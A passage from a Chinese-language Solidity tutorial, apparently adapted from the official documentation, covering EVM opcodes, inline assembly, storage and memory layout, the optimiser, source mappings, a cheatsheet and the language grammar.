staticcall(g, a, in, insize, out, outsize) B 与call(g, a, 0, in, insize, out, outsize)相同,但是不允许状态改变
return(p, s) - F 结束执行,返回mem[p…(p+s))处的数据
revert(p, s) - B 结束执行,回滚状态的改变,返回mem[p…(p+s))处的数据
selfdestruct(a) - F 结束执行,销毁当前合约,并将全部余额打入地址a
invalid - F 以无效指令结束执行
origin F 交易发送者
gasprice F 交易的gas价格
blockhash(b) F 块nr b的哈希-仅限于最近256个块,不包括当前块
coinbash F 当前挖矿的收益
timestamp F 以秒为单位的当前区块的时间戳,从创世纪开始算起
number F 当前的区块数
difficulty F 当前区块的困难度
gaslimit F 当前区块的gas限制
  • 字面量(Literals)

  你可以直接使用十进制或者十六进制的符号作为整数常量,并且pushi指令将会自动执行,如下代码2+3的到5然后和string “abc”进行and运算。最终结果被赋值给局部变量x。string是左对齐的并且不能超过32字节。

1
assembly { let x := and("abc", add(3, 2)) }
  • 函数风格(Functional Style)

  对于opcode序列,通常很难看到某些opcode的实际参数是什么。如下例子中,3被加到当前memory的0x80的的位置。

1
3 0x80 mload add 0x80 mstore

Solidity的内联汇编有函数风格的表示,如下:

1
mstore(0x80, add(mload(0x80), 3))

  如果从右到左读取代码,最终得到的常量和opcode序列完全相同,但值的结束位置要清楚得多。

  如果您关心确切的栈布局,只需注意函数或opcode的语法第一个参数将放在栈的顶部。

  • 访问外部调用变量,函数和库

  你可以使用Solidity变量和其他标识符的名称来访问它们。对于存储在memory位置中的变量,他们的地址而不是值将会被推送到栈上。存储在storage位置中的变量是不同的,因为它们可能不会占用完整的存储槽,所以它们的”地址”由slot和slot内的字节偏移量组成。要检索变量x指向的插槽,可以使用x_slot,并使用x_offset字节偏移量索引。

  例如:

1
2
3
4
5
6
7
8
9
10
pragma solidity >=0.4.11 <0.6.0;

contract C {
uint b;
function f(uint x) public view returns (uint r) {
assembly {
r := mul(x, sload(b_slot)) // ignore the offset, we know it is zero
}
}
}

  如果访问的变量的类型跨度小于256位(例如uint64、address、bytes16或byte),则不能对不属于类型编码的位进行任何假设。尤其是,不要假设它们为零。为了安全起见,在重要的上下文中使用数据之前,请务必正确地清除数据:uint32 x=f();assembly x:=and(x,0xffffffff) /*现在使用x*/ 清除签名类型,可以使用signextend的opcode。

对Label的支持从0.5.0后被移除,只能使用function或者loop,而不能使用万恶的goto。

  你可以使用let关键字声明一个之在汇编内可见的局部变量,并且之在当前的代码块内可见。let指令将会新建一个栈的slot来存储变量并且代码块结束时自动移除。你需要为他提供一个初始化值,否则他默认为0。当然你可以按照更复杂的函数式来实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pragma solidity >=0.4.16 <0.6.0;

contract C {
function f(uint x) public view returns (uint b) {
assembly {
let v := add(x, 1)
mstore(0x80, v)
{
let y := add(sload(v), 1)
b := y
} // y is "deallocated" here
b := add(b, v)
} // v is "deallocated" here
}
}

将汇编的局部变量复制给函数的局部变量是可行的,需要注意的是,在将storage或memory类型的指针复制给变量时要格外小心,你只会修改指针而不会修改变量。
变量只能被赋予一个确切值,假如你要获得一个多返回值函数的返回值,那么你需要提供多个变量。

1
2
3
4
5
6
{
let v := 0
let g := add(v, 2)
function f() -> a, b { }
let c, d := f()
}

  if语句条件执行,但是没有”else”的部分。如果你想提供多重选择,你可以考虑使用switch语句。

1
2
3
{
if eq(value, 0) { revert(0, 0) }
}

程序体需要大括号

  你可以使用switch语句来实现基本的”if/else”语句,你可以使用 default 关键字来声明一个fallback或者默认选项。

1
2
3
4
5
6
7
8
9
10
11
{
let x := 0
switch calldataload(4)
case 0 {
x := calldataload(0x24)
}
default {
x := calldataload(0x44)
}
sstore(0, div(x, 2))
}

switch块不需要大括号,但是每个case需要大括号。

  汇编支持for风格的循环,他包含一个初始化部分,一个条件判断部分和一个迭代部分。条件判断部分必须使用函数风格,而另外两个部分则使用代码块,若初始化部分声明了某些变量,那么他们的作用与将延伸值循环体内(包括条件判断与迭代部分)。

  以下例子是计算一片内存的和:

1
2
3
4
5
6
{
let x := 0
for { let i := 0 } lt(i, 0x100) { i := add(i, 0x20) } {
x := add(x, mload(i))
}
}

  当然,你也可以用他来实现while风格:

1
2
3
4
5
6
7
8
{
let x := 0
let i := 0
for { } lt(i, 0x100) { } { // while(i < 0x100)
x := add(x, mload(i))
i := add(i, 0x20)
}
}

  汇编也支持低级函数的定义,参数和返回地址来自栈,返回值也将布置到栈上,调用一个函数看起来像执行一段函数类型opcode。函数可以被定义在任意位置,其可视范围是所定义的代码块,在函数体内你不能访问外部的变量,而且函数没有显示的return语句。

如果你的函数有多个返回值,那么你需要将他们复制给一个元组(即多个变量)

  下面的示例通过平方和乘法实现幂函数:

1
2
3
4
5
6
7
8
9
10
11
12
{
function power(base, exponent) -> result {
switch exponent
case 0 { result := 1 }
case 1 { result := base }
default {
result := power(mul(base, base), div(exponent, 2))
switch mod(exponent, 2)
case 1 { result := mul(base, result) }
}
}
}
  • Solidity 中的转换(Conventions in Solidity)

  与EVM汇编相比,Solidity有些类型不足256位,为了使计算更有效,EVM通常将他们以256为来对待,强行把它们放在一个slot内,而高阶位元只在必要时才会被清理,就在它们被写入内存或执行比较之前不久。所以如果你想要使用内联汇编来访问他们的话,你必须手动清零高位。
  solidity以一种非常简单的方式管理内存:内存中的位置0x40处有一个“空闲内存指针”。如果要分配内存,只需使用从指针指向的位置开始的内存,并相应地更新它。但我们无法保证内存之前没有被使用过,所以你不能假设他的初始内容是0。没有内置的内存释放或回收机制,下面是一个内存分配的例子:

1
2
3
4
function allocate(length) -> pos {
pos := mload(0x40)
mstore(0x40, add(pos, length))
}

  前64个字节的内存可以用作短期分配的“临时空间”。储存空闲内存指针后的32个字节(即从0x60开始)应永久为零,并用作空动态内存数组的初始值。这意味着可分配内存从0x80开始,这是可用内存指针的初始值。

  solidity中memory数组中的元素总是占用32字节的倍数(是的,对于byte[]甚至是这样,但对于bytes和string则不是这样)。多维memory数组是指向memory数组的指针。动态数组的长度存储在数组的第一个solt(第一个32byte)中,然后是数组元素。

静态大小的memory数组没有长度字段,但日后可能会添加该字段,以便在静态大小的数组和动态大小的数组之间实现更好的可转换性,因此请不要依赖于此。

  • 独立汇编(Standalone Assembly)

&esmp; 独立汇编是区块链逆向的基础,我们直接来感受一下吧:

1
2
3
4
5
6
7
8
9
pragma solidity >=0.4.16 <0.6.0;

contract C {
function f(uint x) public pure returns (uint y) {
y = 1;
for (uint i = 0; i < x; i++)
y = 2 * y;
}
}

  对应汇编如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
mstore(0x40, 0x80) // 储存 "空闲memory指针”

// 函数调度器,注意这里的运行方式
switch div(calldataload(0), exp(2, 226))
case 0xb3de648b {
let r := f(calldataload(4))
let ret := $allocate(0x20)
mstore(ret, r)
return(ret, 0x20)
}
default { revert(0, 0) }
// 内存分配器
function $allocate(size) -> pos {
pos := mload(0x40)
mstore(0x40, add(pos, size))
}
// 合约函数部分
function f(x) -> y {
y := 1
for { let i := 0 } lt(i, x) { i := add(i, 1) } {
y := mul(2, y)
}
}
}

注意

函数的调度是通过一个16位字节码来实现的,即上例的switch/case部分,switch的操作就是将调用地址转化成一个16位字节码,若调用地址与某函数字节码对应,则调至该函数,这一步分在区块链逆向中十分常见。

  关于汇编的语法我不想多将,其更重要的是EVM的运行机制,我们会在后面进行说明。

4. 杂项(Miscellaneous)

  • 状态变量的内存布局

  固定大小的变量(除了mapping和动态数组)都存储在从0开始的连续区域内,多个少于32字节的连续对象将按照一下规则被打包在一个slot内:

  1. slot中的第一个对象是低阶对齐的
  2. 基本类型只消耗存储他们所必须的字节
  3. 若slot中剩下的空间不足储存一个基本类型,那么他将被存储到下一个slot
  4. 结构和数组总是占据一个新的slot并占据整个slot,但是其中的数据将符合这些规则

  当使用的变量小于32字节时,你的合约将消耗更多的gas。因为EVM一次对32字节进行操作,因此如果变量小于32字节,EVM必须执行更多的指令,将元素从32字节减小到所需大小。
  只有当处理storage类型的变量是减小参数的大小才是有益的,因为编译器将把多个元素打包到一个slot内,从而将多次读写结合在一个操作内。当处理函数参数或者memory类型的变量时,这并没有什么增益,因为编译器并不会将他们打包。
  为了确保EVM能够对此优化,你应当保证storage类型的变量能够被紧密的打包,例如,声明storage变量uint128, uint128, uint256将会比uint128, uint 256, uint128更加有效,因为前者占用两个slot而后者占用三个。

struct和mapping中的元素将彼此紧挨着存在一起,就好像他们已经被显示的给定。

  • 映射与动态数组(Mappings and Dynamic Arrays)

  由于映射与动态数组大小的不可预测性,通常情况下使用keccak-256的hash来计算值的起始位置或者查找数组的值,这些起始位置总是占据一个slot。

  根据以上规则,映射与动态数组本身将在storage的p处占据一个slot。对于动态数组来说,这个slot(即数组指针的位置)将用来储存该数组的大小。对于映射来说,这个slot将是空的(但这是必要的,以便两个相等的映射具有不同的hash分布)。数组的数据将被出存在keccak256(p)处,而映射键k所对应的值p将出存在keccak256(k.p)处,若所对应的值仍为非基本类型,则其储存位置为keccak256(k.p)加一个偏移。

  例如以下合约片段:

1
2
3
4
5
6
7
pragma solidity >=0.4.0 <0.7.0;

contract C {
struct s { uint a; uint b; }
uint x;
mapping(uint => mapping(uint => s)) data;
}

data[4][9].b的位置在 keccak256(uint256(9).keccak256(uint256(4).uint256(1))) + 1

  • 二进制数组与字符串(Bytes and String)

  bytes和string将会被完全相同地编码。对于 short byte arrays 长度和数据将会被出存在同一个slot内。特别地:如果数据最长为 31 bytes, 那么数据将会存储在高阶字节中(左对齐),最低阶字节存储 length * 2 。对于存储32或更长字节的数组,主slot将存储 length * 2 +1,数据通常存储在 keccak256(slot) 中。这意味着你可以通过检查是否设置了低位来区分长数组与短数组:短数组(未设置) 长数组(设置)

处理非法编码的插槽目前并不支持,但日后可能会增加。

  • 内存布局(Layout in Memory)

  solidity保留4个32-bytes的slot,具体范围与使用目的如下:

  • 0x00 - 0x3f(64字节):哈希运算的草稿(scratch)空间,即临时空间
  • 0x40 - 0x5f(32字节):当前分配的内存大小(空闲内存指针)
  • 0x60 - 0x7f(32字节):零插槽(Zero slot)

  可以在语句之间使用Strach空间(即内联汇编)。零插槽用于给动态数组初始化,永远都不应被写入,因此空闲内存指针z最初指向 0x80

  Solidity总是将新的对象放置于空闲内存指针上,并且内存将永远不会释放(这在以后可能会改变)。

Solidity中可能有一些操作会使用超出64字节的临时空间(Scratch),他们将会被分配到空闲内存指针指向的位置,但是给予其较短的生命周期,而且指针本身不会更新,因此该内存可能为零也可能不为零。所以,我们不应当认为空闲内存是默认置零的。
看起来使用 msize 来获得一个确定的置零空闲内存是个不错的选择,然而,如果不更新此指针,将其作为非临时指针使用的话可能带来负面效果,原理同上。

注:msize的作用为获得当前最大可索引空间的大小,即空闲指针。

  • 调用数据布局(Layout of Call Data)

  函数调用时的数据将被假定为ABI规范定义的格式。其中,ABI规范要求将参数填充为32字节的倍数。Internal类型的函数调用使用不同的约定。

  合约构造函数的参数将会直接附加在合约代码的末尾,也使用ABI编码。构造函数将使用硬编码偏移量来访问他们,而非使用 codesize 的操作码,因为当数据附加到代码时,其将会发生改变。

  • 内部–清理变量(Internals-Cleaning Up Variables)

  当一个值小于256位时,在某些情况下必须清空剩余的位。Solidity编译器将会在这些多余的垃圾位产生不利影响之前将其清空。例如,再将数据写入内存之前,剩余位需要被清空,因为这些位可能会造成数据紊乱。

  另一方面,如果后续操作不受影响,我们将不会立即清理位。例如,由于 Jumpi 指令认为任何非零值都为真,因此在讲布尔值用作Jumpi条件之前我们不会清空这些值。

  除了以上设计原则之外,Solidity编译器将在数据加载到堆栈上时清空输入数据。不同数据的类型具有不同的清空规则:

类型(Type) 有效值 无效值导致的结果
n个成员的枚举 0到n-1 异常
布尔 0或1 1
有符号整数 符号扩展字 目前会直接打包;将来会抛出异常
无符号整数 高位补0 目前会直接打包;将来会抛出异常
  • 内部优化(Internals-The Optimiser)

  Solidity 优化器是在汇编语言级别工作的,所以它可以并且也被其他语言所使用。它通过 JUMPJUMPDEST 语句将指令集序列分割为基础的代码块。在这些代码块内的指令集会被分析,并且对堆栈、内存或存储的每个修改都会被记录为表达式,这些表达式由一个指令和基本上是指向其他表达式的参数列表所组成。这个优化器使用一个叫做“CommonSubexpressionEliminator”的组件lai,在其他任务中,找到恒等的表达式,并将它们组合到一个表达式类中,优化器将将首先尝试在已知表达式中查询新的表达式。如果没有找到,表达式将会按照 constant + constant = sum_of_constants 或者 x * 1 = x 的规则进行简化。由于这是一个递归的执行过程,因此,如果我们知道一个复杂的表达式恒等于1时,我们可以应用第二条规则。对于storage和memory具体位置的修改必须删除有关storage与memory位置的认知(Knowledge),这里的区别我们并不清楚:假如我们先在x位置写入,然后在y位置写入,并且两者都是输入变量,那么第二个变量将会覆盖第一个,因此在y写入后我们并不知道x中储存了什么。如果表达式 x-y 的简化结果为非零常量,那么我们知道我们可以保持对x中存储内容的认知。

  在这个过程之后,我们知道哪些表达式必须在栈的末尾,并有一个对内存和存储的修改列表。这些信息与基本块一起存储,并用于链接它们。此外,有关堆栈、存储和内存配置的知识将转发到下一个块。如果我们知道所有 JUMPJUMPI的目标,我们就可以建立一个完整的程序控制流程图。如果只有一个我们不知道的目标(原则上这可以发生,跳跃目标可以从输入中计算),我们必须清除有关块输入状态的所有认知,因为它可能是未知跳跃的目标。如果优化器找到一个条件值为常量的 Jumpi,它会将其转换为无条件的 Jumpi

  最后一步是重新生成每个块中的代码。优化器从块末尾堆栈上的表达式创建依赖关系图,并删除不属于此图的每个操作。它生成的代码按照原始代码的顺序将修改应用于内存和存储(删除发现不需要的修改)。最后,它生成所有需要在堆栈上正确位置的值。

  这些步骤应用于每个基本块,如果新生成的代码较小,则将其用作替换代码。如果在 Jumpi 处拆分基本块,并且在分析过程中,条件评估为常量,则根据常量的值替换 Jumpi。例如:

1
2
3
4
5
6
uint x = 7;
data[7] = 9;
if (data[x] != x + 2)
return 2;
else
return 1;

简化后:

1
2
data[7] = 9;
return 1;

  • 源码映射(Source Mappings)

  作为AST输出的一部分,编译器提供由AST中的各个节点表示的源代码范围。这可以用于各种用途,从基于AST报告错误的静态分析工具,到突出显示局部变量及其用途的调试工具。

  此外,编译器还可以生成从字节码到生成指令的源代码范围的映射。这对于在字节码级别上操作的静态分析工具以及在调试器内显示源代码中的当前位置或处理断点来说十分重要。

  这两种源映射都使用整数标识符来引用源文件。源文件的标识符存储在输出[‘sources’][sourcename][‘id’]中,其中output是解析为JSON的标准JSON编译器接口的输出。

对于不与任何特定源文件关联的指令,源映射将分配一个-1的整数标识符。对于源自编译器生成的内联汇编语句的字节码部分,可能会发生这种情况。

AST内的源映射使用以下表示法:

1
s:l:f

  其中s是到源文件中范围开头的字节偏移量,l是源范围的长度(以字节为单位),f是上面提到的源索引。

  字节码的源映射中的编码更加复杂:它是由 ; 分隔的 s:l:f:j 列表。这些元素中的每一个都对应于一条指令,即不能使用字节偏移量,但必须使用指令偏移量(推送指令比单个字节长)。字段 s ,l 和f如上所述,j可以是 i ,o- 表示跳转指令是进入函数、从函数返回还是作为循环的一部分的常规跳转。

为了压缩这些源映射,尤其是字节码映射,使用以下规则:

  • 如果字段为空,则使用前面元素的值。

  • 如果缺少a:,则以下所有字段都视为空。

这意味着以下源映射表示相同的信息:

1
2
3
1:2:1;1:9:1;2:1:2;2:1:2;2:1:2

1:2:1;:9;2:1:2;;
  • 技巧与窍门(Tips and Tricks)
  • 对数组使用 delete 来清空其所有元素

  • 对struct中的元素使用较短的数据类型,并且对他们排序,以便将较短的类型打包在一个slot中来消耗更少的gas

  • 确保state变量为public类型,编译器将为你自动生成一个getter

  • 如果你最终需要在函数开始位置检查很多输入条件或者状态变量的值,你可以尝试使用装饰器(Modifier)

  • 如果你的合约有一个 send 函数,但你想要使用内置的 send 函数,你可以使用 address(contractVariable).send(amount)

  • 使用一个赋值语句就可以初始化 struct:x = MyStruct({a: 1, b: 2});

如果存储结构具有紧密打包(Tightly packed)的属性,请使用单独的赋值对其进行初始化:x.a=1;x.b=2;。这样,优化器一次更新存储将更容易,从而使分配开销更小。

  • 速查表(Cheatsheet)

  运算符顺序优先级排序,以下是按计算顺序列出的运算符的优先顺序。

优先 描述 算符
1 后置自增和自减 ++,--
1 创建类型实例 new <typename>
1 数组元素 <array>[<index>]
1 访问成员 <object>.<member>
1 函数调用 <func>(<args...>)
1 小括号 (<statement>)
2 前置自增和自减 ++, --
2 一元运算的加和减 +,-
2 一元操作符 delete
2 逻辑非 !
2 按位非 ~
3 乘方 **
4 乘、除和模运算 *, /, %
5 算术加和减 +, -
6 移位操作符 <<, >>
7 按位与 &
8 按位异或 ^
9 按位或 ` `
10 非等操作符 <, >, <=, >=
11 等于操作符 ==, !=
12 逻辑与 &&
13 逻辑或 ` `
14 三元操作符 <conditional> ? <if-true> : <if-false>
15 赋值操作符 `=, =, ^=,&=, <<=, >>=, +=, -=, *=, /=, %=`
16 逗号 ,
  • 全局变量(Global Variables)
  • abi.encode(...) returns (bytes): ABI - 对给定参数进行编码
  • abi.encodePacked(...) returns (bytes):对给定参数执行 紧打包编码
  • abi.encodeWithSelector(bytes4 selector, ...) returns (bytes): ABI - 对给定参数进行编码,并以给定的函数选择器作为起始的 4 字节数据一起返回
  • abi.encodeWithSignature(string signature, ...) returns (bytes):等价于 abi.encodeWithSelector(bytes4(keccak256(signature), ...)
  • block.blockhash(uint blockNumber) returns (bytes32):指定区块的区块哈希——仅可用于最新的 256 个区块且不包括当前区块;而 blocks 从 0.4.22 版本开始已经不推荐使用,由 blockhash(uint blockNumber)代替
  • block.coinbase (address):挖出当前区块的矿工的地址
  • lock.difficulty (uint):当前区块的难度值
  • block.gaslimit (uint):当前区块的 gas 上限
  • block.number (uint):当前区块的区块号
  • block.timestamp (uint):当前区块的时间戳
  • gasleft() returns (uint256):剩余的 gas
  • msg.data (bytes):完整的 calldata
  • msg.gas (uint):剩余的 gas - 自 0.4.21 版本开始已经不推荐使用,由 gesleft() 代替
  • msg.sender (address):消息发送方(当前调用)
  • msg.value (uint):随消息发送的 wei 的数量
  • now (uint):当前区块的时间戳(等价于 block.timestamp)
  • tx.gasprice (uint):交易的 gas price
  • tx.origin (address):交易发送方(完整调用链上的原始发送方)
  • assert(bool condition):如果条件值为 false 则中止执行并回退所有状态变更(用做内部错误)
  • require(bool condition):如果条件值为 false 则中止执行并回退所有状态变更(用做异常输入或外部组件错误)
  • require(bool condition, string message):如果条件值为 false 则中止执行并回退所有状态变更(用做异常输入或外部组件错误),可以同时提供错误消息
  • revert():中止执行并回复所有状态变更
  • revert(string message):中止执行并回复所有状态变更,可以同时提供错误消息
  • blockhash(uint blockNumber) returns (bytes32):指定区块的区块哈希——仅可用于最新的 256 个区块
  • keccak256(...) returns (bytes32):计算 紧打包编码 的 Ethereum-SHA-3(Keccak-256)哈希
  • sha3(...) returns (bytes32):等价于 keccak256
  • sha256(...) returns (bytes32):计算 紧打包编码 的 SHA-256 哈希
  • ripemd160(...) returns (bytes20):计算 紧打包编码 的 RIPEMD-160 哈希
  • ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) returns (address):基于椭圆曲线签名找回与指定公钥关联的地址,发生错误的时候返回 0
  • addmod(uint x, uint y, uint k) returns (uint):计算 (x + y) % k 的值,其中加法的结果即使超过 2**256 也不会被截取。从 0.5.0 版本开始会加入对 k != 0 的 assert(即会在此函数开头执行 assert(k != 0);作为参数检查,译者注)。
  • mulmod(uint x, uint y, uint k) returns (uint):计算 (x * y) % k 的值,其中乘法的结果即使超过 2**256 也不会被截取。从 0.5.0 版本开始会加入对 k != 0 的 assert(即会在此函数开头执行 assert(k != 0);作为参数检查,译者注)。
  • this(类型为当前合约的变量):当前合约实例,可以准确地转换为 address
  • super:当前合约的上一级继承关系的合约
  • selfdestruct(address recipient):销毁当前合约,把余额发送到给定地址
  • suicide(address recipient):与 selfdestruct 等价,但已不推荐使用
  • <address>.balance (uint256): 地址类型 的余额,以 Wei 为单位
  • <address>.send(uint256 amount) returns (bool):向 地址类型 发送给定数量的 Wei,失败时返回 false
  • <address>.transfer(uint256 amount):向 地址类型 发送给定数量的 Wei,失败时会把错误抛出(throw)

不要用 block.timestamp、now 或者 blockhash 作为随机种子,除非你明确知道你在做什么。

时间戳和区块哈希都可以在一定程度上被矿工所影响。如果你用哈希值作为随机种子,那么例如挖矿团体中的坏人就可以使用给定的哈希来执行一个赌场功能,如果他们没赢钱,他们可以简单地换一个哈希再试。

当前区块的时间戳必须比前一个区块的时间戳大,但唯一可以确定的就是它会是权威链(主链或者主分支)上两个连续区块时间戳之间的一个数值。

出于扩展性的原因,你无法取得所有区块的哈希。只有最新的 256 个区块的哈希可以拿到,其他的都将为 0。

  • 保留字(Reserved Keywords)

以下是 Solidity 的保留字,未来可能会变为语法的一部分:

1
abstract, after, alias, apply, auto, case, catch, copyof, default, define, final, immutable, implements, in, inline, let, macro, match, mutable, null, of, override, partial, promise, reference, relocatable, sealed, sizeof, static, supports, switch, try, type, typedef, typeof, unchecked.
  • 语法表(Language Grammar)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
SourceUnit = (PragmaDirective | ImportDirective | ContractDefinition)*

// Pragma actually parses anything up to the trailing ';' to be fully forward-compatible.
PragmaDirective = 'pragma' Identifier ([^;]+) ';'

ImportDirective = 'import' StringLiteral ('as' Identifier)? ';'
| 'import' ('*' | Identifier) ('as' Identifier)? 'from' StringLiteral ';'
| 'import' '{' Identifier ('as' Identifier)? ( ',' Identifier ('as' Identifier)? )* '}' 'from' StringLiteral ';'

ContractDefinition = ( 'contract' | 'library' | 'interface' ) Identifier
( 'is' InheritanceSpecifier (',' InheritanceSpecifier )* )?
'{' ContractPart* '}'

ContractPart = StateVariableDeclaration | UsingForDeclaration
| StructDefinition | ModifierDefinition | FunctionDefinition | EventDefinition | EnumDefinition

InheritanceSpecifier = UserDefinedTypeName ( '(' Expression ( ',' Expression )* ')' )?

StateVariableDeclaration = TypeName ( 'public' | 'internal' | 'private' | 'constant' )* Identifier ('=' Expression)? ';'
UsingForDeclaration = 'using' Identifier 'for' ('*' | TypeName) ';'
StructDefinition = 'struct' Identifier '{'
( VariableDeclaration ';' (VariableDeclaration ';')* ) '}'

ModifierDefinition = 'modifier' Identifier ParameterList? Block
ModifierInvocation = Identifier ( '(' ExpressionList? ')' )?

FunctionDefinition = 'function' Identifier? ParameterList
( ModifierInvocation | StateMutability | 'external' | 'public' | 'internal' | 'private' )*
( 'returns' ParameterList )? ( ';' | Block )
EventDefinition = 'event' Identifier EventParameterList 'anonymous'? ';'

EnumValue = Identifier
EnumDefinition = 'enum' Identifier '{' EnumValue? (',' EnumValue)* '}'

ParameterList = '(' ( Parameter (',' Parameter)* )? ')'
Parameter = TypeName StorageLocation? Identifier?

EventParameterList = '(' ( EventParameter (',' EventParameter )* )? ')'
EventParameter = TypeName 'indexed'? Identifier?

FunctionTypeParameterList = '(' ( FunctionTypeParameter (',' FunctionTypeParameter )* )? ')'
FunctionTypeParameter = TypeName StorageLocation?

// semantic restriction: mappings and structs (recursively) containing mappings
// are not allowed in argument lists
VariableDeclaration = TypeName StorageLocation? Identifier

TypeName = ElementaryTypeName
| UserDefinedTypeName
| Mapping
| ArrayTypeName
| FunctionTypeName
| ( 'address' 'payable' )

UserDefinedTypeName = Identifier ( '.' Identifier )*

Mapping = 'mapping' '(' ElementaryTypeName '=>' TypeName ')'
ArrayTypeName = TypeName '[' Expression? ']'
FunctionTypeName = 'function' FunctionTypeParameterList ( 'internal' | 'external' | StateMutability )*
( 'returns' FunctionTypeParameterList )?
StorageLocation = 'memory' | 'storage' | 'calldata'
StateMutability = 'pure' | 'view' | 'payable'

Block = '{' Statement* '}'
Statement = IfStatement | WhileStatement | ForStatement | Block | InlineAssemblyStatement |
( DoWhileStatement | PlaceholderStatement | Continue | Break | Return |
Throw | EmitStatement | SimpleStatement ) ';'

ExpressionStatement = Expression
IfStatement = 'if' '(' Expression ')' Statement ( 'else' Statement )?
WhileStatement = 'while' '(' Expression ')' Statement
PlaceholderStatement = '_'
SimpleStatement = VariableDefinition | ExpressionStatement
ForStatement = 'for' '(' (SimpleStatement)? ';' (Expression)? ';' (ExpressionStatement)? ')' Statement
InlineAssemblyStatement = 'assembly' StringLiteral? AssemblyBlock
DoWhileStatement = 'do' Statement 'while' '(' Expression ')'
Continue = 'continue'
Break = 'break'
Return = 'return' Expression?
Throw = 'throw'
EmitStatement = 'emit' FunctionCall
VariableDefinition = (VariableDeclaration | '(' VariableDeclaration? (',' VariableDeclaration? )* ')' ) ( '=' Expression )?

// Precedence by order (see github.com/ethereum/solidity/pull/732)
Expression
= Expression ('++' | '--')
| NewExpression
| IndexAccess
| MemberAccess
| FunctionCall
| '(' Expression ')'
| ('!' | '~' | 'delete' | '++' | '--' | '+' | '-') Expression
| Expression '**' Expression
| Expression ('*' | '/' | '%') Expression
| Expression ('+' | '-') Expression
| Expression ('<<' | '>>') Expression
| Expression '&' Expression
| Expression '^' Expression
| Expression '|' Expression
| Expression ('<' | '>' | '<=' | '>=') Expression
| Expression ('==' | '!=') Expression
| Expression '&&' Expression
| Expression '||' Expression
| Expression '?' Expression ':' Expression
| Expression ('=' | '|=' | '^=' | '&=' | '<<=' | '>>=' | '+=' | '-=' | '*=' | '/=' | '%=') Expression
| PrimaryExpression

PrimaryExpression = BooleanLiteral
| NumberLiteral
| HexLiteral
| StringLiteral
| TupleExpression
| Identifier
| ElementaryTypeNameExpression

ExpressionList = Expression ( ',' Expression )*
NameValueList = Identifier ':' Expression ( ',' Identifier ':' Expression )*

FunctionCall = Expression '(' FunctionCallArguments ')'
FunctionCallArguments = '{' NameValueList? '}'
| ExpressionList?

NewExpression = 'new' TypeName
MemberAccess = Expression '.' Identifier
IndexAccess = Expression '[' Expression? ']'

BooleanLiteral = 'true' | 'false'
NumberLiteral = ( HexNumber | DecimalNumber ) (' ' NumberUnit)?
NumberUnit = 'wei' | 'szabo' | 'finney' | 'ether'
| 'seconds' | 'minutes' | 'hours' | 'days' | 'weeks' | 'years'
HexLiteral = 'hex' ('"' ([0-9a-fA-F]{2})* '"' | '\'' ([0-9a-fA-F]{2})* '\'')
StringLiteral = '"' ([^"\r\n\\] | '\\' .)* '"'
Identifier = [a-zA-Z_$] [a-zA-Z_$0-9]*

HexNumber = '0x' [0-9a-fA-F]+
DecimalNumber = [0-9]+ ( '.' [0-9]* )? ( [eE] [0-9]+ )?

TupleExpression = '(' ( Expression? ( ',' Expression? )* )? ')'
| '[' ( Expression ( ',' Expression )* )? ']'

ElementaryTypeNameExpression = ElementaryTypeName

ElementaryTypeName = 'address' | 'bool' | 'string' | Int | Uint | Byte | Fixed | Ufixed

Int = 'int' | 'int8' | 'int16' | 'int24' | 'int32' | 'int40' | 'int48' | 'int56' | 'int64' | 'int72' | 'int80' | 'int88' | 'int96' | 'int104' | 'int112' | 'int120' | 'int128' | 'int136' | 'int144' | 'int152' | 'int160' | 'int168' | 'int176' | 'int184' | 'int192' | 'int200' | 'int208' | 'int216' | 'int224' | 'int232' | 'int240' | 'int248' | 'int256'

Uint = 'uint' | 'uint8' | 'uint16' | 'uint24' | 'uint32' | 'uint40' | 'uint48' | 'uint56' | 'uint64' | 'uint72' | 'uint80' | 'uint88' | 'uint96' | 'uint104' | 'uint112' | 'uint120' | 'uint128' | 'uint136' | 'uint144' | 'uint152' | 'uint160' | 'uint168' | 'uint176' | 'uint184' | 'uint192' | 'uint200' | 'uint208' | 'uint216' | 'uint224' | 'uint232' | 'uint240' | 'uint248' | 'uint256'

Byte = 'byte' | 'bytes' | 'bytes1' | 'bytes2' | 'bytes3' | 'bytes4' | 'bytes5' | 'bytes6' | 'bytes7' | 'bytes8' | 'bytes9' | 'bytes10' | 'bytes11' | 'bytes12' | 'bytes13' | 'bytes14' | 'bytes15' | 'bytes16' | 'bytes17' | 'bytes18' | 'bytes19' | 'bytes20' | 'bytes21' | 'bytes22' | 'bytes23' | 'bytes24' | 'bytes25' | 'bytes26' | 'bytes27' | 'bytes28' | 'bytes29' | 'bytes30' | 'bytes31' | 'bytes32'

Fixed = 'fixed' | ( 'fixed' [0-9]+ 'x' [0-9]+ )

Ufixed = 'ufixed' | ( 'ufixed' [0-9]+ 'x' [0-9]+ )


AssemblyBlock = '{' AssemblyStatement* '}'

AssemblyStatement = AssemblyBlock
| AssemblyFunctionDefinition
| AssemblyVariableDeclaration
| AssemblyAssignment
| AssemblyIf
| AssemblyExpression
| AssemblySwitch
| AssemblyForLoop
| AssemblyBreakContinue
AssemblyFunctionDefinition =
'function' Identifier '(' AssemblyIdentifierList? ')'
( '->' AssemblyIdentifierList )? AssemblyBlock
AssemblyVariableDeclaration = 'let' AssemblyIdentifierList ( ':=' AssemblyExpression )?
AssemblyAssignment = AssemblyIdentifierList ':=' AssemblyExpression
AssemblyExpression = AssemblyFunctionCall | Identifier | Literal
AssemblyIf = 'if' AssemblyExpression AssemblyBlock
AssemblySwitch = 'switch' AssemblyExpression ( Case+ AssemblyDefault? | AssemblyDefault )
AssemblyCase = 'case' Literal AssemblyBlock
